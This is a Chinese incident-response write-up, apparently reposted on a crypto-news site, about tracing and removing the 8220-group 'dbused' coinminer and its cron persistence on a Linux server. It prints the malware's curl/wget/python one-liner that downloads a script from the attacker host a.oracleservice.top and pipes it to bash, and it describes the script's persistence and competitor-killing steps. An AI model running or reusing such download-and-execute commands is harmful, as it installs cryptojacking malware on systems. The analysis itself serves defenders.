挖矿木马:一场较量

OKX欧易app

OKX欧易app

欧易交易所app是全球排名第一的虚拟货币交易所,注册领取6万元盲盒礼包!

APP下载   官网注册
0x00概述

本文主要是记录了一次针对挖矿程序的应急响应处理,从三个部分来解读此次事件:

事件描述部分,确认是否有挖矿程序。

现场分析部分,讲了是如何一步一步杀掉挖矿程序。

程序分析部分,针对挖矿脚本的详细解读。杀死竞争挖矿程序、进程守护、传播挖矿。

0x01疑惑的用户

前几天接到客户反映,他们有一台服务器资产存在异常现象,原本配置的crontab定时任务全被修改,用户8220miner组织、miner木马病毒、xms、失陷下载的标签。

与客户确认该定时任务是可疑的之后,又用top查看了系统资源,发现了一个程序名称为“dbused”的可疑进程,长时间的cpu资源占用达到了100以上。

利用可疑的进程PID,从/proc/[PID]目录下的exe文件定位到源文件来自于/tmp目录下的dbused。

将可疑文件扔到VT进行检测,发现极可能与“CoinMiner”挖矿木马相关。

看来这次攻击八九不离十就是挖矿木马相关的攻击了,定时程序应该就是用来下载挖矿程序的,只要先把定时程序删除,再删除恶意程序就行了,于是一一删除之,应该就可以交代了。

想法很美好,现实却很残忍。几秒后,发现恶意进程和定时任务全部恢复了,一朝回到解放前,看来是把问题想得太简单了。

0x03研究员的反击

研究员开始痛定思痛,其实在第一次分析的时候还忽略了几个关键的线索:

用户反映crontab会被自动刷新(说明存在维持进程)

未查看系统可疑进程

未分析下载的内容

于是乎,ps-ef查看系统进程,发现存在五个以上的恶意下载进程,和之前发现的定时任务一模一样,确实存在多个维持进程。

curl-fsSLhttp://a.oracleservice.top/xms||wget-q-O-http://a.oracleservice.top/xms||python-c"importurllib2asfbi;printfbi.urlopen("http://a.oracleservice.top/xms").read")|bash-sh;lwp-downloadhttp://a.oracleservice.top/xms/xms;bash/xms;/xms;rm-rf/xms

突破口都指向下载的可疑文件,下载进行分析,分析发现是一个结合资源准备、同类竞争、进程维持、横向扩散、痕迹清除的脚本。

Step1:最大化这个进程的使用资源

1.脚本先将系统的selinux防火墙设置为关闭。

2.脚本将用户最大可用的进程数调整到5万,便于最大化占用主机资源。

3.修改内存参数,目的也是最大化占用主机资源。

Step2:删除竞争进程

这里目的是为了关闭一些进程,这里的关闭进程的行为,目的是为了杀掉其他的一些挖矿进程,只允许自己的程序挖矿。

查看列出杀死的连接IP情报,基本都是与挖矿或木马相关。

Step3:删除文件的特殊属性使得文件可以被修改操作

chattr命令mod解释

i:即Immutable,系统不允许对这个文件进行任何的修改。如果目录具有这个属性,那么任何的进程只能修改目录之下的文件,不允许建立和删除文件。

a:即AppendOnly,系统只允许在这个文件之后追加数据,不允许任何进程覆盖或截断这个文件。如果目录具有这个属性,系统将只允许在这个目录下建立和修改文件,而不允许删除任何文件。

最后将定时任务,进行了类似锁定操作。

Step4:确保连通性

先解除/tmp/dbused目录下面的锁定。

确定本机ip地址的范围(16位掩码)。

确保主机能与恶意负载域名pool.supportxmr.com、a.oracleservice.top连通。

Step5:创建定时任务

一共创建了5个cron维持进程。

/etc/cron.d/root

/etc/cron.d/apache

/etc/cron.d/nginx

/var/spool/cron/crontabs

/etc/cron.hourly/oanacroner1

Step6:维持进程1

即确保dbused这个文件能正常运行。写了几个备用的函数,judge函数就是,如果dbused文件正常运行了,那么就会存在三个连接,如果没有正常运行,那么就重新运行一下dbused文件。

Step7:维持进程2

cronbackup函数为了确保定时任务的正常运行,一旦其中一个定时任务被删除,就会执行另一个定时任务。

cronbackup{

pay="(curl-fsSL$url/xms||wget-q-O-$url/xms||python-c"importurllib2asfbi;printfbi.urlopen(\"$url/xms\").read")|bash

本文来自用户投稿,不代表币大大立场,如若转载,请注明出处:https://czxurui.com/zx/5904.html

上一篇 2023年07月04日
下一篇 2023年07月04日

相关推荐

  • 币安Web3网中国正式获批,合规化进程迈出里程碑一步

    币安Web3网中国正式获批,合规化进程迈出里程碑一步 全球最大加密货币交易所币安宣布,其Web3业务板块在中国正式获得运营牌照,这一消息标志着中国Web3产业在合规化探索中迈出了具有里程碑意义的一步,作为曾因监管风险一度撤离中国市场的头部平台,币安此次重返并获批,不仅

    2026-07-24 21:30:03
    17 0
  • 意欧交易所认证时间,合规进程中的关键节点与行业意义

    意欧交易所认证时间,合规进程中的关键节点与行业意义 在全球金融市场的版图中,交易所的认证时间是衡量其合规性、安全性与国际认可度的重要标尺,意欧交易所(Euro-Asian Exchange)作为连接欧洲与亚洲资本市场的枢纽平台,其认证时间的确立不仅关乎平台自身的合规运营,更对

    2026-07-17 15:30:02
    16 0
  • 亿欧Web3上市进程引关注,时间表未定,行业探索与合规仍是关键

    亿欧Web3上市进程引关注,时间表未定,行业探索与合规仍是关键 关于“亿欧Web3何时上市”的讨论在行业内引发关注,作为国内知名的科技与创新产业服务平台,亿欧自2021年明确提出“All in Web3”战略以来,一直在积极布局Web3领域,涵盖元宇宙、NFT、去中心化金融(DeFi)、数

    2026-07-07 08:30:01
    9 0
  • 以太坊在中国上市价格,合规进程中的价值锚定与市场期待

    以太坊在中国上市价格,合规进程中的价值锚定与市场期待 以太坊作为全球第二大加密货币,其在中国市场的上市价格一直是业界关注的焦点,尽管中国对加密货币交易采取严格监管政策,但以太坊作为区块链技术的核心代表,其潜在价值与合规化进程始终牵动市场神经,当前,以太坊尚

    2026-07-05 08:30:02
    12 0
  • 欧中碳汇交易机制升级,从易到行的进程与挑战

    欧中碳汇交易机制升级,从易到行的进程与挑战 在全球碳中和目标加速推进的背景下,碳汇交易作为实现“双碳”目标的重要工具,其机制升级与效率提升备受关注,欧盟与中国作为全球气候治理的关键参与者,其碳汇交易体系的升级进程不仅关系到国内减排路径,更对全球碳市场联动产

    2026-06-28 01:30:01
    11 0
  • 币安Web3第七期投票进程,社区驱动的去中心化实践再升级

    币安Web3第七期投票进程,社区驱动的去中心化实践再升级 币安Web3第七期投票进程自启动以来,便成为加密社区关注的焦点,这不仅是一次项目筛选的民主实践,更是币安“社区治理”核心理念的深度落地,本次投票延续了币安Web3生态一贯的高标准与开放性,通过社区提案、筛选、多

    2026-06-22 12:30:02
    15 0

发表回复

8206

评论列表(0条)

    暂无评论

binance币安交易所
已有2000万用户加入币安交易所

立即下载